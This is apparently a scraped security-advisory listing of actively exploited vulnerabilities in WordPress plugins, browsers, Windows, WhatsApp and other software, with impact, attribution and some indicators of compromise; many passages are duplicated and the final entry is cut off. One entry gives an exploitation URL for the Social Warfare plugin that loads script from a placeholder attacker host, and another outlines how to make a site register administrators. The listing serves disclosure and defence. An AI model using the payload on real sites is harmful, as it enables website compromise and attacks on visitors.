Improper access control in Custom Searchable Data Entry System plugin for WordPress

Improper access control

The vulnerability allows a remote attacker to gain unauthorized access to otherwise restricted functionality.

The vulnerability exists due to improper access restrictions. A remote attacker can bypass implemented security restrictions and gain unauthorized access to the application, leading to data modification and deletion, including the potential to delete the entire contents of any table in a vulnerable siteтАЩs database.

Note: the vulnerability is being actively exploited in the wild.

Not patched
i

The vulnerability was used in the wild to compromise websites with vulnerable plugin. The attackers can modify and delete the pluginтАЩs data.

The vulnerability was used in the wild to compromise websites with vulnerable plugin. The attackers can modify and delete the pluginтАЩs data.

Stored cross-site scripting in Async JavaScript plugin for WordPress

Stored cross-site scripting

The disclosed vulnerability allows a remote attacker to perform cross-site scripting (XSS) attacks.

The vulnerability exists due to insufficient sanitization of user-supplied data in the "wp-admin/admin-ajax.php" file with the "aj_steps" AJAX action. A remote authenticated attacker can inject and execute arbitrary HTML and script code in user's browser in context of vulnerable website.

Successful exploitation of this vulnerability may allow a remote attacker to steal potentially sensitive information, change appearance of the web page, perform phishing and drive-by-download attacks.

Note: the vulnerability is being actively exploited in the wild.


i

The vulnerability was used in the wild to compromise websites with vulnerable plugin. The attackers can modify the pluginтАЩs settings.

The vulnerability was used in the wild to compromise websites with vulnerable plugin. The attackers can modify the pluginтАЩs settings.

Stored cross-site scripting in 10Web Map Builder for Google Maps plugin for WordPress

Stored cross-site scripting

The disclosed vulnerability allows a remote attacker to perform cross-site scripting (XSS) attacks.

The vulnerability exists due to insufficient sanitization of user-supplied data in the pluginтАЩs setup process. A remote attacker can inject and execute arbitrary HTML and script code in user's browser in context of vulnerable website.

Successful exploitation of this vulnerability may allow a remote attacker to steal potentially sensitive information, change appearance of the web page, perform phishing and drive-by-download attacks.

Note: the vulnerability is being actively exploited in the wild.

Not patched
i

The vulnerability was used in the wild to compromise websites with vulnerable plugin. The attackers can modify the pluginтАЩs settings.

The vulnerability was used in the wild to compromise websites with vulnerable plugin. The attackers can modify the pluginтАЩs settings.

Stored cross-site scripting in Modern Events Calendar Lite plugin for WordPress

Stored cross-site scripting

The disclosed vulnerability allows a remote attacker to perform cross-site scripting (XSS) attacks.

The vulnerability exists due to insufficient sanitization of user-supplied data in several AJAX actions. A remote authenticated attacker can inject and execute arbitrary HTML and script code in user's browser in context of vulnerable website.

Successful exploitation of this vulnerability may allow a remote attacker to steal potentially sensitive information, change appearance of the web page, perform phishing and drive-by-download attacks.

Note: the vulnerability is being actively exploited in the wild.

Not patched
i

The vulnerability was used in the wild to compromise websites with vulnerable plugin. The attackers can modify the pluginтАЩs settings.

The vulnerability was used in the wild to compromise websites with vulnerable plugin. The attackers can modify the pluginтАЩs settings.

Improper access control in Flexible Checkout Fields for WooCommerce plugin for WordPress

Improper access control

The vulnerability allows a remote attacker to gain unauthorized access to otherwise restricted functionality.

The vulnerability exists due to improper access restrictions. A remote attacker can bypass implemented security restrictions and inject new fields and scripts into the WooCommerce checkout page.

Note: the vulnerability is being actively exploited in the wild.

i

The vulnerability was used in the wild to compromise websites with vulnerable plugin. The attackers downloaded Woo-Add-To-Carts plugin on the system and created administrative accounts.

The vulnerability was used in the wild to compromise websites with vulnerable plugin. The attackers downloaded Woo-Add-To-Carts plugin on the system and created administrative accounts.

Multiple vulnerabilities in Google Chrome
CVE-2020-6418

Type Confusion

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a type confusion error in V8 component. A remote attacker can create a specially crafted web page, trick the victim into visiting it, trigger a type confusion error and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note: This vulnerability is being actively exploited in the wild.

Software: Google Chrome

Remote code execution in Microsoft Internet Explorer
CVE-2020-0674

Buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a boundary error within the scripting engine. A remote attacker can create a specially crafted webpage, trick the victim into opening it, trigger memory corruption and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Software: Microsoft Internet Explorer

Remote code execution in Mozilla Firefox and Firefox ESR
CVE-2019-17026

Type Confusion

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a type confusion error with StoreElementHole and FallibleStoreElement when processing HTML content in IonMonkey JIT compiler. A remote attacker can create a specially crafted webpage, trick the victim into visiting it, trigger a type confusion error and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, this vulnerability is being actively exploited in the wild.

i

The vulnerability was reported by Qihoo 360 ATA researchers.

Software: Mozilla Firefox

The vulnerability was reported by Qihoo 360 ATA researchers.

Privilege escalation in Microsoft Windows
CVE-2019-1458

Buffer overflow

The vulnerability allows a local user to escalate privileges on the system.

The vulnerability exists due to a boundary error when processing objects in memory within the Win32k component. A local user can create a malicious application, launch it on the system and execute arbitrary code with SYSTEM privileges.

Note, this vulnerability is being actively exploited in the wild.

i

This vulnerability was reported by Anton Ivanov and Alexey Kulaev of Kaspersky Lab. This vulnerability was used in Operation WizardOpium campaign against Korean users.

Software: Windows

This vulnerability was reported by Anton Ivanov and Alexey Kulaev of Kaspersky Lab. This vulnerability was used in Operation WizardOpium campaign against Korean users.

Remote code execution in Draytek Vigor 2960, 3900 and 300B
CVE-2020-8515

Improper Neutralization of Special Elements in Output Used by a Downstream Component

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to the affected devices allow remote code execution as root (without authentication) via shell metacharacters to the "cgi-bin/mainfunction.cgi" URI.

Note, this vulnerability is being actively exploited in the wild starting from December 4, 2019.

i

The vulnerability in WebUI of DrayTek Vigor enterprise routers is being exploited in the wild at least from December 4, 2019. Two affected scripts are believed to be used by two different attack groups to eavesdrop on FTP and email traffic inside corporate networks.

Software: Vigor 2960

The vulnerability in WebUI of DrayTek Vigor enterprise routers is being exploited in the wild at least from December 4, 2019. Two affected scripts are believed to be used by two different attack groups to eavesdrop on FTP and email traffic inside corporate networks.

Remote code execution in Microsoft Internet Explorer
CVE-2019-1429

Buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a boundary error within the scripting engine. A remote attacker can create a specially crafted webpage, trick the victim into opening it, trigger memory corruption and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Software: Microsoft Internet Explorer

Remote code execution in Google Chrome
CVE-2019-13720

Use-after-free

The vulnerability allows a remote attacker to compromise vulnerable system.

The vulnerability exists due to a use-after-free error when processing HTML content within the audio component. A remote attacker can create a specially crafted web page, trick the victim into visiting it, trigger a use-after-free error and execute arbitrary code on the target system.

Note, this vulnerability is being actively exploited in the wild.

i

Kaspersky Lab has identified in the wild exploitation of the vulnerability. This vulnerability was used in Operation WizardOpium campaign against Korean users.

Software: Google Chrome

Kaspersky Lab has identified in the wild exploitation of the vulnerability. This vulnerability was used in Operation WizardOpium campaign against Korean users.

Remote code execution in Microsoft Internet Explorer
CVE-2019-1367

Use-after-free

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a use-after-free error within the scripting engine in JScript.dll. A remote attacker can create a specially crafted webpage, trick the victim into opening it, trigger memory corruption and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note: this vulnerability is being actively exploited in the wild.

Software: Microsoft Internet Explorer

Privilege escalation in Microsoft Windows Winsock
CVE-2019-1215

Buffer overflow

The vulnerability allows a local user to escalate privileges on the system.

The vulnerability exists due to a boundary error within the ws2ifsl.sys (Winsock). A local user can run a specially crafted application, trigger memory corruption and execute arbitrary code on the target system with elevated privileges.

Note, this vulnerability is being actively exploited in the wild.

Software: Windows

Privilege escalation in Microsoft Windows CLFS
CVE-2019-1214

Buffer overflow

The vulnerability allows a local user to escalate privileges on the system.

The vulnerability exists due to a boundary error within the Windows Common Log File System (CLFS) driver. A local user  can create a specially crafted application and execute arbitrary code on the system with elevated privileges.

Note, this vulnerability is being actively exploited in the wild.

Software: Windows

Privilege escalation in Microsoft Windows Win32k component
CVE-2019-1132

NULL pointer dereference

The vulnerability allows a local user to escalate privileges on the system.

The vulnerability exists due to a NULL pointer dereference  error when processing objects in memory within the Win32k component. A local user can create a malicious application, launch it on the system and execute arbitrary code with SYSTEM privileges.

Note, this vulnerability is being actively exploited in the wild.

i

The vulnerability was discovered by ESET in June 2019 when investigating a highly targeted attack in Eastern Europe.The vulnerability was used in a targeted attack against governmental institutions in Russia by an adversary known as Buhtrap.

Known IoCs:
sha1: CBC93A9DD769DEE98FFE1F43A4F5CADAF568E321

Software: Windows

Known/fameous malware:

Win32/Exploit.CVE-2019-1132.A
VBA/TrojanDropper.Agent.ABM
VBA/TrojanDropper.Agent.AGK
Win32/Spy.Buhtrap.W
Win32/Spy.Buhtrap.AK
Win32/RiskWare.Meterpreter.G

The vulnerability was discovered by ESET in June 2019 when investigating a highly targeted attack in Eastern Europe.The vulnerability was used in a targeted attack against governmental institutions in Russia by an adversary known as Buhtrap.

Known IoCs:
sha1: CBC93A9DD769DEE98FFE1F43A4F5CADAF568E321

Privilege escalation in Microsoft splwow64
CVE-2019-0880

Permissions, Privileges, and Access Controls

The vulnerability allows a local to escalate privileges on the system.

The vulnerability exists due to the way splwow64.exe handles certain calls. A local user can abuse this functionality to elevate privileges on an affected system from low-integrity to medium-integrity.

Note, this vulnerability is being actively exploited in the wild.

Software: Windows

Security restrictions bypass in Mozilla Firefox and Firefox ESR
CVE-2019-11708

Permissions, Privileges, and Access Controls

The vulnerability allows a remote attacker to bypass sandbox restrictions.

The vulnerability exists due to insufficient vetting of parameters passed with the Prompt:Open IPC message between child and parent processes. A remote attacker can create a specially crafted web page that can make the non-sandboxed parent process open web content chosen by a compromised child process.

An attacker can combine this behavior along with another vulnerability to execute arbitrary code on the system with privileges on the current user. 

Note, this vulnerability is being exploited in the wild along with SB2019061805 (CVE-2019-11707)

i

This vulnerability was used along with CVE-2019-11707 in a targeted attack against Conbase.

Software: Mozilla Firefox

This vulnerability was used along with CVE-2019-11707 in a targeted attack against Conbase.

Remote code execution in Oracle WebLogic Server
CVE-2019-2729

Deserialization of Untrusted Data

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to insecure input validation when processing serialized data within XMLDecoder class. A remote non-authenticated attacker can pass specially crafted data to the application and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note: this vulnerability is being actively exploited in the wild.

i

Oracle has released a security alert, notifying users on in the wild exploitation of the vulnerability.

Software: Oracle WebLogic Server

Oracle has released a security alert, notifying users on in the wild exploitation of the vulnerability.

Remote code execution in Mozilla Firefox and Firefox ESR
CVE-2019-11707

Type Confusion

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a type confusion error when manipulating JavaScript objects due to issues in Array.pop. A remote attacker can create a specially crafted web page, trick the victim into visiting it, trigger a type confusion error and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note: this vulnerability is being actively exploited in the wild along with SB2019062002 (CVE-2019-11708).

i

The vulnerability was reported by Mozilla to be actively exploited in the wild.

This vulnerability as reportedly used in a targeted attack against Coinbase employees on Monday,  June 17 2019.

The vulnerability was used in conjunction with another sandbox bypass issue CVE-2019-11708, patched by Mozilla on June 20, 2019.

This vulnerability was  independently discovered and reported to Mozilla by a security researcher Samuel Gro├Я on April 15. It took Mozilla 64 days to issue a security fix. 


Software: Mozilla Firefox

The vulnerability was reported by Mozilla to be actively exploited in the wild.

This vulnerability as reportedly used in a targeted attack against Coinbase employees on Monday,  June 17 2019.

The vulnerability was used in conjunction with another sandbox bypass issue CVE-2019-11708, patched by Mozilla on June 20, 2019.

This vulnerability was  independently discovered and reported to Mozilla by a security researcher Samuel Gro├Я on April 15. It took Mozilla 64 days to issue a security fix. 


Privilege escalation in Windows Error Reporting
CVE-2019-0863

Input validation error

The vulnerability allows a local user to escalate privileges on the system.

The vulnerability exists due to the way Windows Error Reporting (WER) handles files. A local user can create a specially crafted WER file and execute arbitrary code on the system in kernel mode.

Note: this vulnerability is being actively exploited in the wild.

Software: Windows

Remote code execution in WhatsApp
CVE-2019-3568

Buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a boundary error within the WhatsApp VOIP stack when processing SRTCP packets. A remote attacker can send a series of specially crafted SRTCP packets sent to a target phone number, trigger buffer overflow and execute arbitrary code on the target device.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note: this vulnerability is being actively exploited in the wild.

i

The vulnerability was used in a targeted attack against a limited number of people. First vulnerability exploitation was detected on May 12 2019. The attackers targeted a phone of a UK-based human rights lawyer to install spyware.

Software: WhatsApp Messenger for Android

Known/fameous malware:

Pegasus

The vulnerability was used in a targeted attack against a limited number of people. First vulnerability exploitation was detected on May 12 2019. The attackers targeted a phone of a UK-based human rights lawyer to install spyware.

Improper access control in Yuzo Related Posts WordPress plugin

Improper access control

The vulnerability allows a remote attacker to gain unauthorized access to the website.

The vulnerability exists due to improper access restrictions when processing HTTP requests. A remote attacker can pass specially crafted configuration to the affected application and inject arbitrary JavaScript code WordPress configuration.

Successful exploitation of the vulnerability may allow an attacker to compromise vulnerable application.

Note: the vulnerability is being actively exploited i the wild.

Not patched
i

Improper access control vulnerability in the plugin allowed attacker to inject malicious JavaScript code and redirect users to phishing websites.

Software: Related Posts

Improper access control vulnerability in the plugin allowed attacker to inject malicious JavaScript code and redirect users to phishing websites.

Privilege escalation in Win32k.sys driver in Microsoft Windows
CVE-2019-0859

Buffer overflow

The vulnerability allows a local user to escalate privileges on the system.

The vulnerability exists due to a boundary error when processing objects in memory within the Win32k component. A local user can create a malicious application, launch it on the system and execute arbitrary code with SYSTEM privileges.

Note: this vulnerability is being actively exploited in the wild.

i

The vulnerability was reported to Microsoft by Vasily Berdnikov and Boris Larin from Kaspersky Lab.

Software: Windows

The vulnerability was reported to Microsoft by Vasily Berdnikov and Boris Larin from Kaspersky Lab.

Privilege escalation in Win32k.sys driver in Microsoft Windows
CVE-2019-0803

Buffer overflow

The vulnerability allows a local user to escalate privileges on the system.

The vulnerability exists due to a boundary error when processing objects in memory within the Microsoft Graphics Win32k component. A local user can create a malicious application, launch it on the system and execute arbitrary code with SYSTEM privileges.

Note: this vulnerability is being actively exploited in the wild.

i

The vulnerability was reported to Microsoft by Donghai Zhu of Alibaba Cloud Intelligence Security Team.

Software: Windows

The vulnerability was reported to Microsoft by Donghai Zhu of Alibaba Cloud Intelligence Security Team.

Backdoor in Asus Live Update

Hidden functionality (backdoor)

The vulnerability allows a remote attacker to compromise vulnerable system

The vulnerability exists due to hidden functionality (backdoor) is present in software. A remote attacker can use this functionality to gain full access to the application and compromise the affected system.

Note: this backdoor was implented as a result of ASUS servers compromise within the APT attack dubbed тАЬOperation ShadowHammerтАЭ. The campaign ran from June to at least November 2018.

i

An APT campaign was launched against ASUS between June and November 2018. The attacker compromised ASA Live Update servers and distributed malware to cca. 1 million computers worldwide. 

The attack was attributed to APT17 adversary, also known as Deputy Dog.

Software: ASUS Live Update

An APT campaign was launched against ASUS between June and November 2018. The attacker compromised ASA Live Update servers and distributed malware to cca. 1 million computers worldwide. 

The attack was attributed to APT17 adversary, also known as Deputy Dog.

Stored XSS in Social Warfare WordPress plugin
CVE-2019-9978

Cross-site scripting

The vulnerability allows a remote attacker to perform cross-site scripting attacks.

The vulnerability exists due to usage of the eval() JavaScript call on data passed via the  "swp_url" HTTP GET parameter to "/wp-admin/admin-post.php" script, when "swp_debug" is set to "load_options", allowing to permanently inject and execute arbitrary JavaScript code on the website. A remote unauthenticated attacker can store a specially crafted JavaScript code into database and execute it in browser of every website visitor.

Note: this vulnerability is being actively exploited in the wild.

Exploitation example:

http://[host]/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://[malicious_js_script]/
i

A stored XSS vulnerability in the Social Warfare plugin, used by 70 000 users, led to a mass hacking campaign of WordPress websites.

Software: WordPress Social Sharing Plugin – Social Warfare

A stored XSS vulnerability in the Social Warfare plugin, used by 70 000 users, led to a mass hacking campaign of WordPress websites.

Insecure deserialization in Easy WP SMTP plugin for WordPress

Deserialization of Untrusted Data

The vulnerability allows a remote attacker to compromise vulnerable website.

The vulnerability exists due to insecure input validation when processing serialized data passed via the "swpsmtp_import_settings" HTTP POST parameter to /easy-wp-smtp.php script. A remote unauthenticated attacker can import arbitrary wp_options and reconfigure WordPress to allow user registration with administrative privileges.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable website.

Note: this vulnerability is being actively exploited in the wild.

i

WordPress websites were under attack due to vulnerability in a popular WP plugin since March 15, 2019.

Software: Easy WP SMTP

WordPress websites were under attack due to vulnerability in a popular WP plugin since March 15, 2019.

Privilege escalation in Microsoft Windows Win32k.sys driver
CVE-2019-0797

Memory corruption

The vulnerability allows a local user to escalate privileges on the system.

The vulnerability exists due to a boundary error within the Win32k.sys driver. A local user can execute a specially crafted application, trigger memory corruption and execute arbitrary code on the target system with elevated privileges.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

i

Kaspersky Lab has detected and reported a zero-day vulnerability in Win32k.sys driver in Microsoft Windows.

Software: Windows

Kaspersky Lab has detected and reported a zero-day vulnerability in Win32k.sys driver in Microsoft Windows.

Privilege escalation in Microsoft Windows
CVE-2019-0808

NULL pointer dereference

The vulnerability allows a local user to escalate privileges on the system.

The vulnerability exists due to a NULL pointer dereference error in the win32k!MNGetpItemFromIndex when NtUserMNDragOver() system call within the win32k.sys kernel driver. A local user can use a specially crafted application to escape sandbox and execute arbitrary code on the target system with SYSTEM privileges.

Note, this vulnerability is being actively exploited in the wild along with vulnerability in Google Chrome described in (SB2019030405).

i

On March 7th Google has reported in the wild exploitation of vulnerability in Microsoft Windows. During the attack the adversary used another zero-day vulnerability in Google Chrome in order to execute code on the system and vulnerability in Microsoft Windows to escalate privileges.
The initial attack was detected in late February.

Software: Windows

On March 7th Google has reported in the wild exploitation of vulnerability in Microsoft Windows. During the attack the adversary used another zero-day vulnerability in Google Chrome in order to execute code on the system and vulnerability in Microsoft Windows to escalate privileges.
The initial attack was detected in late February.

Remote code execution in Google Chrome
CVE-2019-5786

Use-after-free

The vulnerability allows a remote attacker to compromise vulnerable system.

The vulnerability exists due to a use-after-free error in FileReader. A remote attacker can trick the victim into opening a specially crafted file with Google Chrome, trigger use-after-free error and execute arbitrary code on the target system.

Successful exploitation of the vulnerability may allow an attacker to compromise vulnerable system.

Note: the vulnerability is being exploited in the wild.

i

The vulnerability in Google Chrome was used in a targeted attack along with another zero-day in Microsoft Windows.

The initial attack was detected in late February.

Software: Google Chrome

The vulnerability in Google Chrome was used in a targeted attack along with another zero-day in Microsoft Windows.

The initial attack was detected in late February.

Dangerous file upload in Adobe ColdFusion
CVE-2019-7816

Dangerous file upload

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to insufficient validation of user-supplied input when processing file uploads. A remote attacker can upload and execute arbitrary code on the target system with privileges of the ColdFusion service. Successful exploitation of the vulnerability requires that the attacker has the ability to upload files.

Note, this vulnerability is being actively exploited in the wild.

Software: ColdFusion

Information disclosure via PDF files in Google Chrome

Exposed dangerous method or function

The vulnerability allows a remote attacker to gain access to potentially sensitive information.

The vulnerability exists due to the PDF viewer allows sending information to a third-party domain via the "this.submitForm()" PDF Javascript API.┬аA remote attacker can trick the victim into opening a specially crafted PDF file with Google Chrome and obtain sensitive information.

Note: the vulnerability is being actively exploited in the wild.

Not patched
i

Vulnerability exploitation was spotted by EdgeSpot in late December 2018. The company detected multiple PDF samples in the wild that use dangerous JavaScript method to send information, retrieved from user's computer to a third-party domain.

Software: Google Chrome

Vulnerability exploitation was spotted by EdgeSpot in late December 2018. The company detected multiple PDF samples in the wild that use dangerous JavaScript method to send information, retrieved from user's computer to a third-party domain.

Information Disclosure in Microsoft Internet Explorer
CVE-2019-0676

Out-of-bounds read

The vulnerability allows a remote attacker to gain access to potentially sensitive information.

The vulnerability exists due to boundary error when processing HTML content. A remote attacker can trick the victim to open a specially crafted webpage, trigger out-of-bounds read and test for the presence of files on disk.

Software: Microsoft Internet Explorer

Multiple vulnerabilities in Apple iOS
CVE-2019-7287

Privilege escalation

The vulnerability allows a local attacker to gain elevated privileges.

The weakness exists due to a boundary error in the IOKit component when handling malicious input. A local attacker can run a specially crafted application, trigger memory corruption and execute arbitrary code with elevated privileges.

Successful exploitation of the vulnerability may result in system compromise.

Note: according to Ben Hawkes, team leader at Project Zero, the vulnerability has been exploited in the wild as 0day.
i

According to Ben Hawkes, team leader at Project Zero, the vulnerability has been exploited in the wild as 0day.

Software: Apple iOS

According to Ben Hawkes, team leader at Project Zero, the vulnerability has been exploited in the wild as 0day.

Multiple vulnerabilities in Apple iOS
CVE-2019-7286

Memory corruption

The vulnerability allows a local attacker to gain elevated privileges.

The weakness exists due to a boundary error in the Foundation component when handling malicious input. A local attacker can run a specially crafted application, trigger memory corruption and gain elevated privileges.

Note: according to Ben Hawkes, team leader at Project Zero, the vulnerability has been exploited in the wild as 0day.
i

According to Ben Hawkes, team leader at Project Zero, the vulnerability has been exploited in the wild as 0day.

Software: Apple iOS

According to Ben Hawkes, team leader at Project Zero, the vulnerability has been exploited in the wild as 0day.

Memory Corruption in Microsoft Internet Explorer
CVE-2018-8653

Memory corruption

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a boundary error when processing web pages. A remote attacker can create a specially crafted web page, trick the victim into visiting it, trigger memory corruption and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note: this vulnerability is being actively exploited in the wild.

Software: Microsoft Internet Explorer

Privilege escalation in Windows kernel
CVE-2018-8611

Race condition

The vulnerability allows a local user to execute arbitrary code with elevated privileges.

The vulnerability exists due to a race condition within the Kernel Transaction Manager driver (ntoskrnl.exe) when processing transacted file operations in kernel mode. A local user can create a specially program, and run arbitrary code on the system n kernel mode.

Note: the vulnerability is being exploited in the wild.

i

This vulnerability was reported to Microsoft by Kaspersky Lab. It is believed it was used by FruityArmor and SandCat APT groups against companies in the Middle East and Africa.

Software: Windows

This vulnerability was reported to Microsoft by Kaspersky Lab. It is believed it was used by FruityArmor and SandCat APT groups against companies in the Middle East and Africa.

Multiple vulnerabilities in Adobe Flash Player
CVE-2018-15982

Use-after-free

The vulnerability allows a remote attacker to compromise vulnerable system.

The vulnerability exists due to a use-after-free error when processing SWF files. A remote attacker can create a specially crafted .swf file, trick the victim to open it and execute arbitrary code on system with privileges of the current user.

Successful exploitation of the vulnerability may allow an attacker to compromise vulnerable system.

Note: this vulnerability is being exploited in the wild.

i

Vulnerability exploitation was spotted by several security companies. The attack was detected on November 29, 2018 and seems to be executed by a Ukrainian APT group UA-APT.

360 Core Security dubbed the attack "Operation Poison Needles".

Software: Adobe Flash Player

Vulnerability exploitation was spotted by several security companies. The attack was detected on November 29, 2018 and seems to be executed by a Ukrainian APT group UA-APT.

360 Core Security dubbed the attack "Operation Poison Needles".

Privilege escalation in Windows Win32k.sys driver
CVE-2018-8589

Buffer overflow

The vulnerability allows a local user to escalate privileges on the system.

The vulnerability exists due to a boundary error within Win32k.sys driver. A local user can create a specially crafted application, run it on vulnerable system and execute code withe superuser privileges.

Note: this vulnerability is being actively exploited in limited targeted attacks.

i

The vulnerability was privately reported to Microsoft by Kaspersky Lab.

Software: Windows

The vulnerability was privately reported to Microsoft by Kaspersky Lab.

Denial of service in Suricata
CVE-2018-18956

Segmentation fault

The vulnerability allows a remote attacker to cause DoS condition on the target system.

The weakness exists due to segmentation fault in the ProcessMimeEntity function in util-decode-mime.c when handling malicious input. A remote attacker can supply specially crafted input to the SMTP parser, trigger segfault and cause daemon crash.

Note: according to MITRE statement, the vulnerability has been exploited in the wild in November 2018.
i

According to MITRE statement, the vulnerability has been exploited in the wild in November 2018.

Software: Suricata

According to MITRE statement, the vulnerability has been exploited in the wild in November 2018.

Denial of service when processing SIP packets in Cisco ASA and Cisco Firepower Threat Defense
CVE-2018-15454

Input validation error

The vulnerability allows a remote attacker to perform a denial of service (DoS) attack.

The vulnerability exists due to insufficient validation of SIP traffic. A remote attacker can send specially crafted SIP packets to the affected device, cause high CPU load that may lead to denial of service conditions.

Note, this vulnerability is being actively exploited in the wild against a limited number of targets.

Not patched
i

The vulnerability was discovered during the resolution of a Cisco TAC support case and reported by Cisco PSIRT.

Software: Cisco ASA 5500-X Series

The vulnerability was discovered during the resolution of a Cisco TAC support case and reported by Cisco PSIRT.

Remote code execution in Microsoft Word

Logic error

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to a logical bug is revealed when embedding a video via the 'online video' feature. A remote attacker can embed a video inside a Word document, edit the XML file named document.xml, replace the video link with a crafted payload created by the attacker which opens Internet Explorer Download Manager with the embedded code execution file and execute arbitrary code with elevated privileges.

Successful exploitation of the vulnerability may result in system compromise.

Note: as of October 31, 2018 the vulnerability is being actively exploited in the wild.

Not patched
i

Trend Micro has issued a report detailing in the wild exploitation of a publicly disclosed vulnerability in Microsoft Word. According to VirusTotal timestamps, the first wave of exploitation began on October 31, 2018. The vulnerability was disclosed on October 25.

Software: Microsoft Word

Known/fameous malware:

TROJ_EXPLOIT.AOOCAI
TSPY_URSNIF.OIBEAO

Trend Micro has issued a report detailing in the wild exploitation of a publicly disclosed vulnerability in Microsoft Word. According to VirusTotal timestamps, the first wave of exploitation began on October 31, 2018. The vulnerability was disclosed on October 25.

Arbitrary file upload in jQuery File Upload plugin
CVE-2018-9206

Arbitrary file upload

The vulnerability allows a remote attacker to compromise vulnerable system.

The vulnerability exists in the plugin's source code that handles file uploads to PHP servers due to software allows upload of arbitrary files to the system. A remote unauthenticated attacker can upload arbitrary .htaccess file to impose security restrictions to its upload folder and upload backdoors and web shells.

Note: The vulnerability has been actively exploited for at least 3 years.
i

The vulnerability is publicly known since at least 2015.

Software: jQuery File Upload

The vulnerability is publicly known since at least 2015.

Privilege escalation in GDPR Compliance plugin for WordPress
CVE-2018-19207

Privilege escalation

The vulnerability allows a remote attacker to gain elevated privileges on the target system.

The weakness exists due to the software fail to do capability checks when executing its internal action save_setting to make such configuration changes when processing arbitrary options and values to this endpoint. A remote attacker can set the users_can_register option to 1, and change the default_role of new users to тАЬadministratorтАЭ to simply fill out the form at /wp-login.php?action=register and immediately access a privileged account, change these options back to normal and install a malicious plugin or theme containing a web shell or other malware to further infect the victim site.

Note: this vulnerability is being actively exploited in the wild.

i

Vulnerability exploitation has been spotted in the wild by WordPress website owners. The initial attack was first reported on October 13. The attackers used vulnerability in plugin to gain administrative privileges on the affected websites.

Software: WP GDPR Compliance

Vulnerability exploitation has been spotted in the wild by WordPress website owners. The initial attack was first reported on October 13. The attackers used vulnerability in plugin to gain administrative privileges on the affected websites.

Privilege escalation in Microsoft Windows Win32k
CVE-2018-8453

Use-after-free

The vulnerability allows a local attacker to gain elevated privileges on the target system.

The vulnerability exists due to a use-after free error in win32kfull!xxxDestroyWindow Win32k component. A local user can run a specially crafted application, trigger memory corruption and execute arbitrary code in kernel mode.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note: the vulnerability has been actively exploited in the wild.

i

According to Kaspersky Lab, the vulnerability is being actively exploited by the FruityArmor APT actor.

Software: Windows

Known/fameous malware:

HEUR:Exploit.Win32.Generic
HEUR:Trojan.Win32.Generic
PDM:Exploit.Win32.Generic

According to Kaspersky Lab, the vulnerability is being actively exploited by the FruityArmor APT actor.

Backdoor in Vesta Control Panel

Backdoor

The vulnerability allows a remote attacker to compromise vulnerable system.

The vulnerability exists due to presence of a backdoor code in the official vendor's repository since May 2018 until at least June 2018. All users that installed vesta panel between May and June are affected.
i

VestaCP repository was compromised around May 2018 and contained malware at least until June 2018. As a result, user's credentials, generated by VestaCP, and other information were stolen by the attackers.

Software: Vesta Control Panel

Known/fameous malware:

Linux/ChachaDDoS

VestaCP repository was compromised around May 2018 and contained malware at least until June 2018. As a result, user's credentials, generated by VestaCP, and other information were stolen by the attackers.

Spoofing attack in Apple Safari

Spoofing attack

The vulnerability allows a remote attacker to conduct spoofing attack.

The weakness exists due to the way macOS processes URI handlers with enabled "Open Safe Files" setting in Safari browser. A remote attacker can create a specially crafted web page, trick the victim into clicking on a spoof dialog box and force unauthorized downloading of malicious file (e.g. ZIP-archive). Once downloaded, the archive will be automatically extracted.

Successful exploitation of the vulnerability may allow an attacker to compromise vulnerable system.

Note: the vulnerability is being exploited in the wild by the WindShift APT actor against government organizations in the Middle East.


Not patched
i

Vulnerability in Apple Safari was used to bypass browser security restrictions and upload malware to vulnerable systems, according to DarkMatter LLC report.

The attack is believed to be carried out by the WindShift APT actor against government organizations in the Middle East.

Software: Apple Safari

Vulnerability in Apple Safari was used to bypass browser security restrictions and upload malware to vulnerable systems, according to DarkMatter LLC report.

The attack is believed to be carried out by the WindShift APT actor against government organizations in the Middle East.

Multiple vulnerabilities in Microsoft Windows SMB
CVE-2019-0703

Information disclosure

The vulnerability allows a remote authenticated attacker to gain access to potentially sensitive information.

The vulnerability exists due to the way that the Windows SMB Server handles certain requests. A remote authenticated user can gain unauthorized access to sensitive information on the system.

Note: this vulnerability has being exploited in the wild. The exploit code was detected in the Bemstour exploit tool in September 2018 and has being used by Buckeye (APT3) APT group.

i

Exploit code for this vulnerability was detected by Symantec when analyzing the Bemstour exploit tool in September 2018. Researchers make connection between the Buckeye (APT3) group and such exploit packs as Bemstour exploit tool and DoublePulsar.

Software: Windows

Known/fameous malware:

Bemstour exploit tool

Exploit code for this vulnerability was detected by Symantec when analyzing the Bemstour exploit tool in September 2018. Researchers make connection between the Buckeye (APT3) group and such exploit packs as Bemstour exploit tool and DoublePulsar.

Privilege escalation in Microsoft Windows
CVE-2018-8440

